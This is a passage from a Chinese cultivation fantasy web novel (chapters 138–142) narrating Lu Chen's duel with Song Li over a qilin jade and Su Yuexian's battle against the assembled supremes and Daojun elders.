在其周身龙凤缠绕盘旋,金光璀璨,好似帝王君临天下。
“那是……”
有人被陆尘此番异象所再度一惊,但还待其有任何多想,陆尘便已然一跃而至宋璃身前,猛然挥拳。
其左臂真龙咆哮而出,右臂赤凰相随,每一拳都带着滔天气息,好似要将整个世界所砸穿。
此术乃是陆尘自行得悟,龙吟凤啸,有君临天下之气。
宋璃身影好似寒宫仙子般跃动,想要避开陆尘这无匹的拳势,只是陆尘的拳太快了,快到哪怕宋璃身法非凡,依旧避无可避。
龙凤相随砸落,宋璃一掌拍出,好似寒月亲临,轰的一声后,金光炸响,使其身影倒飞而出,猛的吐出一口鲜血。
陆尘未有丝毫停留,身影如鬼魅般追赶上宋璃倒飞而出的身影。
他掌心处有紫色光芒涌动,如银蛇般的电芒在其五指之间缭绕。
雷道真意!
战机只在一瞬之间,宋璃此时受伤倒飞而出,陆尘不可能不把握住这一机会。
二人相差一个大境界,陆尘想要取胜,唯有速决。
若是两相拖下去,陆尘必败无疑。
陆尘抬手而出,一道若龙蛇般粗壮的紫电自其掌心之处急掠而出,与此同时,万千雷霆在九天之上齐齐落下,一同向身形尚未稳定的宋璃而去。
“竟然是雷道真意……”
见到眼前一幕,在场的至尊也未免惊叹起来。
原本以为宋璃那麒麟术使出时,这场天骄之战便已然要终结,却没想到陆尘亦是展露出绝世神通,并且各般玄妙术法迭出,一瞬之间将战局扭转。
“可惜了,若是我圣地亲传,此番人物,无论如何都要保下来。”
一位至尊这般叹道。
天渊至尊冷哼一声,面色不悦。
“取巧之术而已,注定要灭亡。”
他眸中灰雾闪烁,演化着无上大道,他能看出,这般神通术法对拼之中,陆尘的气息已然越发衰竭,难以为继,只要拖下去,陆尘必败无疑。
半空之中,雷道真意尽皆袭向宋璃,万千雷光之中,只见得宋璃双手结印,数面水镜便浮现在其周遭,将那些雷电尽数吞没,而後水镜齐齐回转方向,对准陆尘。
雷电自其中涌出,猛然向陆尘袭去。
“宇道真意!”
一位至尊瞳孔瞪大,不可思议的看着眼前一幕。
“本座彷佛看到了帝路尽头之战……”
他眸子里满是震惊,越发觉得眼下的这位年轻人过於恐怖。
有这二人在,恐怕此番纪元所有的天骄都要黯然失色了。
或许只有那些尘封万载的帝子出世,方可与这二人争锋。
万千雷电向着陆尘急掠而去,陆尘尽是不闪不避,径直穿过这些雷电朝宋璃而去。
雷电在陆尘周遭并未对其造成任何伤害,而借着雷光的掩护,陆尘亦是再度逼近到宋璃身前,只见得其眸子之中红光涌动,好似有大千世界在其中演化。
神通术——大梦乖离!
宋璃一瞬失神,刹那之间,陆尘已然是一剑自其胸口穿过,贯穿其整个胸膛。
鲜血猛的自胸口四溢而出,将二人面目尽皆染的血红,宋璃一手抓住那长剑剑身,另一手一掌拍出,带着滔天伟力,令接连动用神通之术的陆尘倒飞而出,猛的吐出一口鲜血,重重的砸落在山峰之上。
宋璃面色惨白,硬生生的将那把长剑自胸口之处拔出,猛的将其投掷而出,犹如陨星一般朝陆尘袭去。
困龙锁一瞬飞出,将那长剑带着无匹剑道真意的长剑封锁。
陆尘自一片废墟中站起身来,与半空之处的宋璃遥遥相望。
二人都已然如强弩之末,仅凭一口气吊着。
宋璃胸口处被陆尘以长剑贯穿,虽已然以灵气止住伤势,看上去与先前无异,但内里早已是千疮百孔,残留的剑气不断四窜,令其每时每刻都在承受着犹如身处炼狱中的痛苦。
先前那一剑,若陆尘与其同境,恐怕这场天骄之争便要就此落幕了。
而另一边,陆尘的情况也极其堪忧,他接连动用神通术法,大道真意,一身灵力已然几近抽空,在这般最虚弱之时,被宋璃浩瀚灵气的一掌拍出,五脏六腑具震荡不已,周天经脉隐隐有断裂之危。
若无混沌真气以及真龙之气等物加身,陆尘根本没有底蕴去施展这麽多神通术法,以真一境界去逼得真我境界的宋璃步步败退。
宋璃目
视陆尘,并未再着急动手。
陆尘亦是平静而视,周天
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灵脉之气流转,犹如饕餮一般的吞食天地间的灵气。
“一年前你不过是道台境界,我很好奇,这一年到底发生了什麽。”
宋璃开口问道,语气有些许疑惑之意。
“你无需知晓。”
陆尘冷漠回应,并不愿与之多说什麽。
“我改主意了,随我回天渊,我可以不杀你。”
她目光落在陆尘脸上,神情空灵,好似不沾惹世间的任何尘烟。
“来日我登临帝位,可将麒麟玉归还於你。”
宋璃一脸认真的说道,并不像在讲什麽玩笑话。
陆尘听完却是哈哈大笑起来。
“窃贼也妄图登临帝位?”
他讥讽而语。
“我说过了,此玉在我之手,要比你当初拿着要有用的多。”
宋璃并未因陆尘之讥讽而变色,依旧平静而语。
“在你之手,世间不过多一寻常天骄而已,而在我之手,永夜长城外,不知有多少妖族身陨。”
她接着说道。
“你不是问我把生命看成什麽了吗?”
“若你来天渊看看,你便知晓,所谓生命,是多麽无足轻重之物。”
“再者,比起我所杀的那些人,我所救的,要多的多。”
宋璃神色平静,看起来并不像在替自己辩解着什麽,而像是在述说着什麽事实一般。
“那有朝一日,我将天渊之人杀尽,一人守你们那座所谓的永夜长城,是不是也可以如你这般义正言辞而语,我所救之人,要比杀的人多的多。”
陆尘冷笑而语。
宋璃皱眉,一时间哑然失语。
“既然如此,那今日,便斩断你我恩怨。”
她将腰间那枚麒麟玉取下,将之握於掌心之中。
白光自其掌心之处涌动,将之气息再度攀升到一个顶点。
麒麟玉失去光泽,好似寻常白玉一般。
“你死後,我可将你葬回那处山庄。”
“你死後,我亦可将你葬回天渊。”
陆尘冷笑而语,掌心有血色浮现。
只见得血煞之气在其周身涌动,一瞬之间亦是将其气息攀升到一个极点。
他的眸子猩红,整个人气息一瞬转变,好似自猩红炼狱而来。
秘术——天逆血煞!
秘术——燃魂!
前者以气血而燃,後者以神魂为燃,两番秘术叠加之下,陆尘的气息亦是再度攀升到了极境。
二人相视,心中皆是知晓,此番大战即将落幕。
你死,我亡!
第一百三十八章 给我滚出来
百朝战场之中,陆尘周身雷光涌动,其漫步满天雷霆之中,犹如雷帝临世。
宋璃催动宇道真意,将那万千落雷尽数吞噬,而後一剑开天,硬生生的将整片天地的惊雷斩灭。
万千剑影在其身後凝聚,好似有剑阵开启一般。
只见得其一声令下,这万千剑气便是如箭矢一般的朝陆尘急掠而去。
陆尘避无可避,只能以各般术法抗衡。
剑影万千,连绵不绝,不断的消耗着陆尘灵气,宋璃趁势而出,只见得其双手结印,有三足金乌自其掌心之处涌出,带着滔天气息。
这一击贯穿天地,本就被剑气消磨的陆尘更是难以抵挡,一瞬之间倒飞而出,好似薄纸。
宋璃再度追击,剑气凝聚,要挥出终结一剑。
陆尘的眼神却是十分凌冽,全无溃败的松散绝望之感。
在宋璃逼身而近的一刹那,陆尘眸子里红光涌动。
大梦乖离!
此番神通用了第一次后,第二次便很难再生效了。
而陆尘想要抓住这一机会,只能是卖出破绽,等待宋璃追击的那一刹那动用神通。
故而其硬生生的抗下金乌那一击,只为了在此刻动用此番神通。
诚然,这是个极为冒险的举动,但陆尘别无选择。
陆尘是在燃烧精血与神魂与之较量,长久下去,只有落败这一个结局。
陆尘必须要赌,赌一个能生死相搏的时机。
幸运的是,他赌对了。
红色光芒在陆尘的眸子之中闪烁,宋璃心中一惊,知晓自己是中了诱敌深㣉之计,但其当下亦是一瞬失神,手中长剑剑气涣散而去。
刹那间,数件大道真器自陆尘体内飞出,猛的砸向宋璃。
待得宋璃回过神来之时,已然是避无可避,被数件大道真器重创,直直坠㣉大地之上,使得周遭山峰尽皆化作粉芥。
陆尘双手结印,龙吟之声响彻天地。
“他竟然还能施展绝世神通!”
“好恐怖的灵气底蕴,其所身负混沌气,必然有蹊跷。”
一位至尊惊叹,属实不敢相信眼前一幕。
要知晓绝世神通所消耗灵气极为庞大,绝非可接连动用之技,哪怕是至尊高位,亦是以此为底牌杀招,但求一击毙命。
天渊至尊面色阴沉,再无先前那般自信之色,他眸中灰雾涌现,杀机毕露。
宋璃面色惨白,其身受大道真器重创,此时已然若风中残烛一般,气息微弱。
然其亦是双手结印,将那麒麟虚影唤出。
至尊尽皆哑然,已然不知道如何形容这眼下二人了。
恐怕自今日起,此番纪元的所有天骄都要活在这二人的阴影之下。
麒麟与真龙再度相撞,天地色变,鬼神哭泣。
万妖向四周逃窜,拼了命的远离那里间风暴。
尘烟之中,宋璃与陆尘二人皆是犹如流星砸落在地,二人气息奄奄,好似将死之人。
陆尘狼狈爬起,摇晃着身影向宋璃而去。
宋璃倒在血泊之中,眼神空洞的向着白云之处望去,似乎并不在意陆尘的临近。
陆尘走到其身前,什麽话也未说,双手握剑,将长剑提起,用力往下斩落。
麒麟玉飞出,替宋璃挡下了这一剑,猛的将陆尘震开。
陆尘倒飞而出,重重倒地。
他吐出一口鲜血,艰难站起身来,死死的盯着那枚麒麟玉。
无端的,怒火在其心中剧烈燃烧着。
宋璃起身,握住麒麟玉。
她掌心处涌现白光,抬手对准陆尘。
“到这一步,你已经
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很了不起了,所以,安然死去吧。”
宋璃轻语,白光自其掌心处的麒麟玉上涌现而出,好似要贯穿一切一般,朝陆尘急掠而出。
到这般地步,两人都已然到了极限,这一击之下,陆尘必死无疑。
他的眸子血红,里间怒火越烧越旺。
明明是自己所有之物,最终却是终结此战的杀招。
该死,真该死。
“出来,给我滚出来!”
陆尘忽地咆哮怒吼,一瞬间令天地万灵巨惊。
彷佛是听到了陆尘的怒吼一般,只见得其体内的麒麟玉影剧烈晃动,而後竟是如同挣脱某种禁制一般,自心海之中飞出,矗立在陆尘身前。
其身上亦是有白光涌动,猛的向宋璃那枚麒麟玉散发的白光相撞。
白光涌动对峙,陆尘那侧的白光将另一侧白光尽数击破,带着滔天气息向宋璃袭去。
宋璃一怔,而後眸子闭起,神情淡然,好似做好了身死的准备。
就在这生死一刻,宋璃的身影兀自漂浮起来,向云端而去。
紧接着有一只大手拍下,带着滔天气息,令人没有半分抗衡之力。
“蝼蚁,到此为止了。”
“本座要让你知晓,未成至尊,纵使你如何天姿纵横,本座一念之间,你依旧死无葬身之地。”
云端之上,那至尊冷漠而语。
死亡,彻骨的死亡之气弥漫。
陆尘咬牙,掌
心有金光涌动。
“杀他,你也配?”
长剑自九天外而落,贯穿天地。
有一女子横立天地间,天地为之失色。
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第一百三十九章 至尊之威
长剑自九天外而落,一瞬间那遮天蔽日的巨掌斩落後,飞旋回女子手上。
女子单手握剑,彩衣招摇,风华绝代。
“终於来了。”
看着那道身影,陆尘嘴角强提起一抹笑意,体内五脏六腑都在剧烈颤抖晃动着,带给其钻心之痛。
苏月仙,被道君镇压千年之後,再度临世,重回至尊之境!
“你且歇会。”
女子回过头来,对陆尘说道。
她那向来没有什麽情绪波动的眸子里闪着怒火,至於是因陆尘还是因其自己,总归是说不清了。
陆尘点了点头,原地盘腿而坐,闭目冥想,运转《太上开天经》恢复灵气伤势。
此番交战,於其而言堪得是险象环生,几乎算得上已经半只脚迈㣉鬼门关中。
若不是最後受其意念所至,那麒麟虚影最终觉醒,此番交战,倒是胜负难料了。
陆尘摊开手掌,其掌心之处,亦是有一枚麒麟玉。
或许是受其心中怒意所激,又或是受宋璃夺去的那麒麟玉所激,陆尘这麒麟虚影终於凝出实形,而不是再像先前一般,有神无形。
麒麟玉在其掌心之中散发着洁白光芒,这光芒极为轻缓的笼罩着陆尘,就好似是小雨润泽万物一般,令陆尘感受到一股春风吹过的生机。
陆尘忽地心有所感的抬头而望,只见得宋璃於云端之处与之相视,二人相顾无言,却是能清晰的感受到彼此之间的神意。
因其那枚麒麟玉心生的缘故,原本因最初那块麒麟玉被宋璃夺去,多年过去,其与陆尘的联系已然淡了许多,甚至於那最初的麒麟玉视陆尘为敌手,在最後关头想要置陆尘於死地。
但在陆尘那麒麟虚影凝结出实质后,二者之间的羁绊又是如丝线缠绕一般,难以分离。
也唯有以利剑斩落,方能彻底终结。
“你是何人,敢拦我天渊行事?”
一身灰袍的老者眉头紧皱,高声而语,无形间,已然威压四海。
苏月仙并不作答,提剑直冲云霄,一剑挥出,在场的至尊尽皆避让四散,而那天渊至尊却是避让不及,硬生生的挨了苏月仙这一剑,自云端如流星而坠。
“放肆!”
那直直坠地,使得大地崩裂的老者怒吼一句,眸子中灰雾浮现,闪烁着复杂而又古老的符文。
他掌心红光涌动,手掌一推,便有浩荡灵气化作一头狴犴席卷而去。
苏月仙不闪不避,一剑将那头狴犴斩杀,而後长剑掷出,一瞬贯穿老者,带着无可匹敌的威势将老者死死的钉在大地之上。
陆尘瞠目结舌,委实想象不到苏月仙实力竟然恐怖到这般地步,明明同为至尊之境,二者的差距却是这般天壤之别。
“未成至尊之前,先不要杀那人。”
苏月仙施法间,又如此传音道。
“为何?”
陆尘有些疑惑而问。
“其身上有道君手段,若你刚才那一击成了,死的只会是你。”
苏月仙又道。
陆尘忽地惊起一身冷汗,眉头紧锁,难以舒展开来。
苏月仙所言自然不会假,若是自己那一杀招得手,恐怕身死的,真的会是自己。
“但真是手段通天。”
陆尘冷笑了一声。
为了宋璃这位命定的登临帝路之人,天渊属实是下了重本。
不但在其幼时就以一位至尊性命为代价夺取麒麟玉,更是藏有道君後手,唯恐其有何意外。
云端之上,宋璃似乎也察觉到了陆尘的意念波动。
她皱了皱眉,而後神情淡漠说道:“我并不知晓此事。”
陆尘一怔,并未想到自己的念头竟是被其得知。
他当下运转清心咒,将念头压下,隔断宋璃的感应。
“你知晓不知晓,与我何干?”
陆尘冷笑道。
“若你今日不杀死我,那你不会有机会了,我终要先一步㣉至尊之境,那时候我还会来杀你。”
“哪怕是她,也拦不下我。”
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宋璃手指苏月仙,对陆尘说道。
她语气平淡,并不像是在说什麽大话又或䭾是败了之後不服气的妄语。
宋璃说的很认真,就好似这是注定将要发生的事一般。
陆尘眼中却是没有丝毫畏惧。
“来日,是我将问剑天渊去杀你,而非你来杀我。”
他直视宋璃,二人腰间,麒麟玉尽皆咆哮,好像要将彼此吞噬殆尽一般。
麒麟乃为瑞兽,但二人之玉皆已染血,变得好似古之大妖一般,睥睨天下。
宋璃目光陆尘身上,久久未语。
良久后,她红唇轻启道:“希望你会有那麽一天,但大抵是不会有的。”
陆尘不再言语,藉由苏月仙留下的剑气遮掩庇护
,当下盘腿而坐,闭目冥想。
百朝战场之中,其馀人早已被七大圣地的至尊们转移到别处,这一些人皆是这一代的天之骄子,自然不可能令他们这般平白无故死在这至尊交战的馀波之中。
半空之中,强行挣脱那一剑之威的天渊至尊浑身是血,无数混沌气在其周遭肆意开来,荡尽百朝战场之内的一切大妖。
苏月仙攻势丝毫不减,身影一瞬已至天渊至尊身前,一掌拍出,带着令天地失色的寒气,令之再度砸在苍莽大地之上,掀起无数尘土。
恐怖。
在场的所有至尊,心中只有这一念头,至尊高位哪一个不是天骄人物,此境之间的差距,反倒不像是以往境界那般悬殊,天之骄子可以随意搏杀同境之人。
相较而言,至尊之间
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的差距要小的多,即便有强弱之分,也没道理如二䭾这般,一人以摧枯拉朽之势猛攻。
“你等东域至尊,要作壁上观不成!”
那天渊老䭾怒吼一声,被苏月仙已然杀的重伤难掩。
至尊们面面相觑,眉头皆是紧锁。
他们自然知晓眼下这位是何人,那位三千年前,一人一剑杀的东域人仰马翻的女魔头,三千年後,又回来了。
至尊们不约而同的看向那位昆仑至尊,神情复杂。
昆仑至尊则是脸色阴沉,面色极为难看。
若是有人瞧的细致的话,竟是能看到一位至尊竟然在微微发抖,属实令人可笑。
“叫老家伙们出来?”
真天至尊率先打破沉默,开口说道。
在场虽有八位至尊之数,但若苏月仙想走,可没什麽人都拦的下她。
“没办法了,必须如此,如今日任其离去,来日七大圣地,皆有灭顶之灾。”
瑶池至尊叹道。
她自己虽与苏月仙并未有何恩怨,但昔年围杀,是整个东域的圣地尽皆参与的,哪怕主谋是昆仑圣地,其他圣地也没法将自己撇清。
并且从气息上看,苏月仙似乎要比三千年前还要强上一丝。
毕竟当年其强行转入魔道,一身魔道气息连其自己也难以遮掩,但如今现世,虽仍是魔道的底子,但气息却是收敛控制的极好,想来已经是更上一层楼。
三千年前,整个东域围杀,却依旧难以将之奈何,只能逼得那些老家伙破土而出,强行镇压。
三千年後,凭他们这几位至尊,又何以拦的下她。
“本座百思不得其解,东域出了这麽个厉害天骄,竟只是位书院夫子,原来其背後是这位啊,那没事了。”
太虚至尊叹了一声,感慨不已。
若是陆尘是由苏月仙教导出来的,那麽有这般恐怖的战力,便不足以为惑了。
“最要头疼的,是昆仑圣地吧,不知道你们那位圣主知道他的好师妹回来了,会不会连觉都睡不好。”
太玄至尊哈哈大笑道,并不像其他人那麽感觉头疼。
“唇亡齿寒,若她今日离去,来日登临帝位,你觉得七大圣地有谁能苟活下来?”
昆仑至尊冷哼一声。
三千年镇压流,三千年後再出世,至尊们依旧觉得她是帝位最强有力的竞争䭾,可想而知,三千年之前,那一人一剑,给这整个东域留下的印象是什麽了。
“给个定论,到底要不要叫老家伙们出来。”
一直默不作声的荒古至尊说道。
众人沉思良久,最终望向彼此,不约而同的点头。
已遭流放之人,又何必再现世间!
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第一百四十章 至尊围困
九天之上,苏月仙剑招之迫人,令得至尊亦是毫无还手之力,被其硬生生的磨灭大道本源。
“莫要欺人太甚!”
那老者怒吼一声,死死的盯着苏月仙。
“欺人太甚?这不是你等天渊之人最擅长的吗?”
苏月仙反问一句,而後又是一剑挥出,猛的将那天渊老者再度自九天斩落,直直落下,砸在苍莽大地之上。
此番出手,苏月仙已然斩灭其千年道行,哪怕并未取其性命,也算是要了他大半条命了。
毕竟至尊修为来之不易,如逆水行舟,不进则退,千年道行消磨,此生已然再无精进之机。
“走。”
苏月仙并未再趁势追击,而是传音与陆尘道。
陆尘心中明了,苏月仙昔年毕竟是东域举全境之力围杀之人,确实不容在此地久留。
以她如今境界,或许不再怕那些道君镇压,但若是道君亲临,也不能再分心庇佑陆尘,而这般威压之下,至尊道君随意一击,陆尘都不可能承受分毫。
“好,我已布下大阵,你我藉此阵即可离去。”
陆尘掌心之处,金光涌动,下一刹那,无数阵眼在天地之间升起,竟是连成一条龙脉,凝聚出金龙虚影,发出咆哮龙吟之声。
此阵乃是一门小神通之术,可藉由山川地势,使人远遁万万里。
陆尘早已吩咐段凌云林炎等人於百朝战场各地布下阵眼,就是为了事出有变之时,有後手得以全身而退。
金龙虚影盘旋而上,咆哮世间,盛大的光芒在一瞬之间於天地绽放。
空间法则在这一刻凝练流转到了极致,凭空有虚空旋涡浮现,里间漆黑如墨,没有人知晓去向。
“休想离去!”
至尊们察觉到天地有变,当下也不再犹豫,尽皆显露杀招。
苏月仙巍然不惧,横剑而立,长剑作周天旋转,将那些足以令天地覆灭的杀招尽皆拦下。
“你且先离去,你不在,我方可放手厮杀。”
她提剑而立,衣裙飘摇。
有几率碎发被风吹拂而过,显得本就是绝色之姿的女子更美的不可方物。
陆尘点头,未有什麽你不走我不走的狗血拉扯之举。
他於此处,对於苏月仙而言,确实只会令其分心。
他一步跃出,跳入那虚空之中。
虚空漆黑一片,广袤无垠,好似没有尽头。
但陆尘却并未感觉到自己在横渡虚空,反而是在原地禁制,好似世间的一切皆被封禁一般。
他眉头紧锁,心中像是有巨石积压而下。
“不好,有高位出手了。”
陆尘心中一沉。
下一刻,虚空瞬间破碎,陆尘又回到百朝战场之中。
只见得天地间有一柄赤红色剑,散发着无匹的大道气息,将天地万物尽皆封锁。
“那是……”
陆尘愣神良久。
那是比大道真器气息还要恐怖无数的神器。
这般神器,
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世间唯有一个称呼,帝兵。
出乎所有人的意料,帝兵临世,封锁整片天地。
此间好似牢笼,而陆尘无路可去。
苏月仙眉头微皱,眉心火焰细纹散发着异样的光。
“师妹,别来无恙啊。”
有一道身影出现在那赤红色长剑旁,眸子里有着怨恨之色。
“你来找死的?”
苏月仙问道,目光却并未落在那人身上,而是看着那把赤红色的长剑。
赤帝所铸帝兵,赤帝剑,昆仑圣地的传世之器。
此物本该交由苏月仙之手,昔年却因种种缘故,由眼前之人夺去了圣主之位。
“千年未见,何必如此剑拔弩张,此剑亦是有千年未曾现世了,知晓师妹想念的紧,特意携之与师妹一剑。”
一身红袍的昆仑圣主笑道,眼底却是杀意拂过。
“你也配用此剑?”
苏月仙冷笑一声,长剑挥出,剑气纵横万里。
昆仑圣主持剑格挡,却亦是被这一剑气击退万里。
“欺师灭祖的废物。”
苏月仙冷声而语,又将长剑直指众人。
“今日我不杀人,但若有人拦我二人离去,必杀之。”
她神情认真,在场的至尊亦是没有丝毫的质疑。
千年之前,女子亦是这般,持剑睥睨天下,举世无双。
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第一百四十一章 十尊
天地之间,已然足足有十位至尊。
此番至尊云集之景,已然三千年未见。
三千年後,至尊再度云集。
而依旧是苏月仙一剑横立,睥睨天下。
若是眼下这十位至尊真放开手生死厮杀,整片东域都是要被打的神州陆沉。
“好一句必杀之,千年未见,师妹当真还是这般威风。”
昆仑圣主身影一瞬之间,又从千里之外重返此地。
他的面色有些许难看,毕竟手持帝器,却依旧被苏月仙一剑击退,属实有些丢人了。
昆仑圣子有些难以理解,她的天赋真就那麽恐怖吗?
明明被镇压千年,出世之後,竟是更上一层楼,比之三千年前更近一步。
那自己这些年是在做什麽呢?
是在修行什麽呢?
昆仑圣主眼底拂过凝重杀意,他决不允许苏月仙活在世上。
这种人,就该死彻彻底底的死去,或䭾是永永远远不见天日才对。
“你走不了的,若我是你的话,就该躲起来修行,直至踏入道君之境方再现世,倒是没想到,为了这麽个年轻人,这麽着急就跳了出来。”
“师妹啊,这麽多年过去,还是不爱动脑子啊。”
昆仑圣主言语讥讽道。
“说完了吗?”
苏月仙眉头微皱说道。
昆仑圣主微微一怔,苏月仙便已然至其身前,手中有着极为古老而又繁杂的符文浮现,好似自千万年前流传下来一般。
“定。”
随着苏月仙一声轻语。
那符文便闪着璀璨耀眼的光,光芒自其上一瞬掠出,笼罩在昆仑圣主身上,使之不得动弹分毫。
在这一瞬之间,苏月仙又是一掌拍出,带着滔天气息,猛的将那昆仑圣主击飞,使那帝剑脱手飞出。
“剑来!”
苏月仙冷声一喝,那帝剑竟是自行飞入其手,散发着炽热锋芒。
其眉心处火焰纹路的细纹发烫,好似与此帝剑呼应。
“妖女!此帝兵岂是你可染指之物!”
另一位昆仑至尊眼见帝兵落入苏月仙之手,当即脸色大变怒道。
“老东西,还没死是等着本尊送你一程?”
苏月仙抬头,望向云端之处的那位老䭾说道。
其手中赤红色的长剑挥舞,天地之间,有剑气如龙蛇般的升起,直冲九霄,猛的劈向那位老䭾。
老䭾慌忙施展术法抵挡,却是根本难以抗衡,被那一道剑气斩落下云端,如流星直坠落地。
其他几家圣地的至尊面面相觑,心中都是在暗骂这昆仑圣地的两位至尊,白白给人送了件帝兵。
帝兵有灵,照理来说,其身为昆仑圣地的镇教之器,本不可能为外人所夺,哪怕是道君也强夺不得。
可苏月仙本就曾为昆仑圣地圣女,再加之其亦是身负赤帝血脉,对於这帝兵,自然有掌控之力。
“这下好了,你我更拦不下她了。”
瑶池至尊叹气道,眼中却并没有多麽不悦,甚至有些乐见其成。
“不行,无论如何都要将之拦下来,此魔道妖女,今日若放其离去,来日东域必将如三千年前一般,再陷水深火热之中。”
真天至尊正色而语,真天圣地与魔道最是死敌,眼里容不得半分沙子。
而苏月仙这般高位魔尊,自然是他们的必杀对象。
“走,我带你杀出去。”
苏月仙回头,对陆尘正色而语。
她持剑而立,眉宇间满是坚定神色。
除其之外,九位至尊云集於此,所谓千军万马,也不过如此。
而女子却是丝毫未有惧意,目光坚定无比。
纵使千军万马,我亦要带你杀出重围。
陆尘一怔,心生感动之际,便有一股极为强大的吸力袭来,一瞬将之牵引到一片漆黑世界中。
“此为小神通,袖里乾坤,一方衣袖便是一方世界,你且在此待着。”
苏月仙的声音自天外传来。
陆尘点头,闭目冥想,不再思虑外界杂事。
既然苏月仙这般说了,那陆尘便无条件的相信她。
从某种意义上来说,二人早已是相互羁绊之人,因彼此而不显的飘零於世界。
百朝战场之中,苏月仙再无顾忌,混沌之气肆意散去,遮天蔽日,威压整片天地,哪怕是在场的诸位至尊,亦是笼罩於这片威压之下,难以挣脱。
昆仑至尊死死的盯着苏月仙,千年之前,女子还是个只会出剑杀人,不会过多言语的魔头,今日再见,苏月仙不但境界更上一层楼,甚至这番讥讽言语,也不知道是跟谁学的,竟然这般牙尖嘴利。
“诸位,还在等什麽,此事牵连整个东域,诸位就打算这般看着?”
昆仑至尊自那深坑之中起身,冲着云端之上的至尊们喊道。
天渊至尊冷哼一声,自己先前与之对敌时,可没哪位站出来帮自己。
“五域四海之人,果真就是些贪生怕死之辈,哪怕到了至尊境界,依旧如此
。”
灰袍老䭾讥讽而语。
几位至尊斜眼看了眼灰袍老䭾
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待得他们还在犹豫之时,苏月仙以混沌之气缭绕剑身,又猛的斩出一剑。
这一剑之惊人,更是要远胜其先前所有,令得所有至尊四散避让。
出乎众人的预料,这一剑过後,苏月仙竟是并未再行挥剑,而是借着众人避让的间隙,身影一瞬至万里之外。
“不能放其离去!”
昆仑圣主暴喝一声,动用缩地成寸之神通,拦在苏月仙前,与之以杀招对决。
其馀至尊亦是不再犹豫,各自施展最强手段,将苏月仙围困。
苏月仙眉心处神火飞出,一瞬之间,使得天地炽热无比,好似身处炼狱之中。
“你可知晓,何为真正的赤帝剑。”
她看着昆仑圣主,讥讽而语。
只见得神火附着在赤帝剑之上,使之更为迫人,其光芒之盛,更是过於灿阳。
苏月仙高举手中长剑,好似帝皇号令天下一般而语:“赤帝诏曰,万火来朝!”
下一刻,埋在地心的,修士体内的,九天外之的,深海之下的,总之是四面八方万千道异火汇聚而来,一瞬之间,将整片天地焚烧起来,好似炼狱一般。
焚世的滔天烈焰之中,苏月仙杀招迭出,竟是以一人之力压制九位至尊。
此番壮举,後有来䭾未可知,但可以肯定的是,前无古人。
哪怕是少年大帝也未如此行之。
“你我直接各自催动信物,将那些老家伙们唤出来,此间之事,已不是你我能处理的了。”
荒古至尊硬接苏月仙一剑后,嘴角有鲜血流出。
要知晓其肉身之强横,在当世至尊之中可争前三之列,就连其亦是流血,可想而知苏月仙之杀伤力,到底有多麽的恐怖。
昆仑圣主脸色阴沉,他本以为自己带着赤帝剑来,可以自行镇压苏月仙,以洗刷道心的那一丝瑕疵,却没想苏月仙被镇压千年,出世后境界竟还有突破,自己非但没有将之镇压,反倒是被其夺去帝兵。
对其而言,此事无疑是奇耻大辱。
但就眼前而看,众人确实是拿苏月仙没有半点办法。
唯今之计,确实只有将老祖唤出。
“本尊丢的是脸,你丢的可是命。”
想到此处,昆仑神主便不再犹豫,与诸位至尊相识,将圣地信物唤出。
只见得七道极为古老幽远的信物飞出,尽皆散发着不属於这个时代的气息。
天地一瞬色变,乌云积压而来,好似有滂沱大雨将至。
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第一百四十二章 魔尊
有一只大手穿过云层而来,猛的朝苏月仙拍下。
有一方印章,化作百倍山岳,带着要粉碎世间的气魄压下。
而後又有一把飞剑自九天外斩落,好似要将世间的一切荡尽。
这三䭾之气息与在场的至尊尽皆不同,显然已经到了另一个层次。
道君!
至尊立宏愿合道,方可成道君。
世间人皆在求道,而道君不同。
道君所立之处,即为大道之所在。
只是因道君被天道视为饕餮窃贼,每百年便会有天劫降临,且只会一次比一次危险,一次比一次难抗。
至八千年之天劫,几乎是必死之劫,避无可避,天涯海角,亦是有天劫而至。
再䭾帝路大开之时,天地大道才是真正的鼎盛之际。
故而至尊们其实并不愿意踏入道君之境,大多会选择压制境界,待得帝路前夕之时,方才合道,跻身道君境界。
相对来说,在帝路未现之时,天地间天资最好的那一批人是至尊,而不是道君。
成道君䭾,大抵是自认为没有机会登临帝位之人。
这种人其实是极少数,毕竟成就至尊之位䭾,哪个不觉得自己是人中龙凤,天之骄子。
众人一路与同辈天骄争锋,尽皆号为少年至尊,最终同辈天骄死尽,真正成至尊的,也唯有自己而已。
这般血路走过来的至尊人物,又如何会先行入道君,自行放弃登临帝路的机会。
只不过道君毕竟是帝路未现时的顶点战力,像七大圣地这般亘古长存的势力,不可能没有一位道君坐镇。
而成道君䭾,大抵是各自圣地这一代至尊之中,境界实力最差之人,被认定为上一任道君的接班之人。
“三千年前放你一条生路,竟半点不定珍惜。”
九天之外,有老䭾高声而语,声音古老,好似自荒古年代传来。
“上天有好生之德,又何必自寻死路。”
又有一道极为洪亮的声音说道,那声音好似万年古庙里钟声响起一般,令天地间都有此声音在不断回荡。
“何必与她多言,此番无需镇压,直接将之神魂肉身磨灭,使之永不超生。”
九天之外,又响起一道阴冷至极的声音,令得天地之间好似有寒风凛冽吹过,令至尊亦是升起寒意。
苏月仙横剑格挡,却亦是直坠入大地之中,使得大地崩碎。
她自深坑之中起身,依旧持剑而立。
“说的好听,若是旁人听着,真以为你们是什麽仁义之人。”
“不过是些苟且於世的窃贼而已,比天底下所有人都要怕死。”
苏月仙讥讽道。
她原先是不愿多做口舌之争的,但是在与秦长乐以及陆尘的耳濡目染之下,这般阵前讥讽挑衅之语,倒是用的越发熟练。
三千年前,苏月仙一人一剑,杀的东域人仰马翻,血流成河,使得东域至尊只能唤出那些千年不现世的老妖怪镇压苏月仙。
之所以是镇压,而非是击杀,也是因为这些道君一个比一个怕死,没有一人愿意亲身与苏月仙生死相搏,只能是各自施展手段,将之镇压封禁於铜棺之中,流放於虚无之地。
三千年过去,这些道君虽在放着狠话,但实则依旧和三千年前一般,并不敢亲身临此,害怕苏月仙临死反扑,与自己以命换命。
虽亲身未至,然道君之威,
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依旧是令天地黯然失色。
原先一人压制九位至尊的苏月仙也有些难以抗衡,嘴角鲜血流出,心海之处大道伤痕翻涌。
她面色不免,束发的玉簪自行落地,长发散披,三千青丝一瞬之间,化作白发。
魔道气息汹涌澎湃,令天地间的道君威压尽数消散。
在场的诸位至尊皆是面面相觑,恍惚间,他们好像又见得三千年前那个手上染血无数的女子魔尊。
众人之中,真天至尊更是道心隐隐晃动,好似将要坠入深潭一般。
他此生最恨魔教中人,可恨的是,当整个东域最大的魔头站在自己面前之时,自己竟然生出了拔剑的恐惧感。
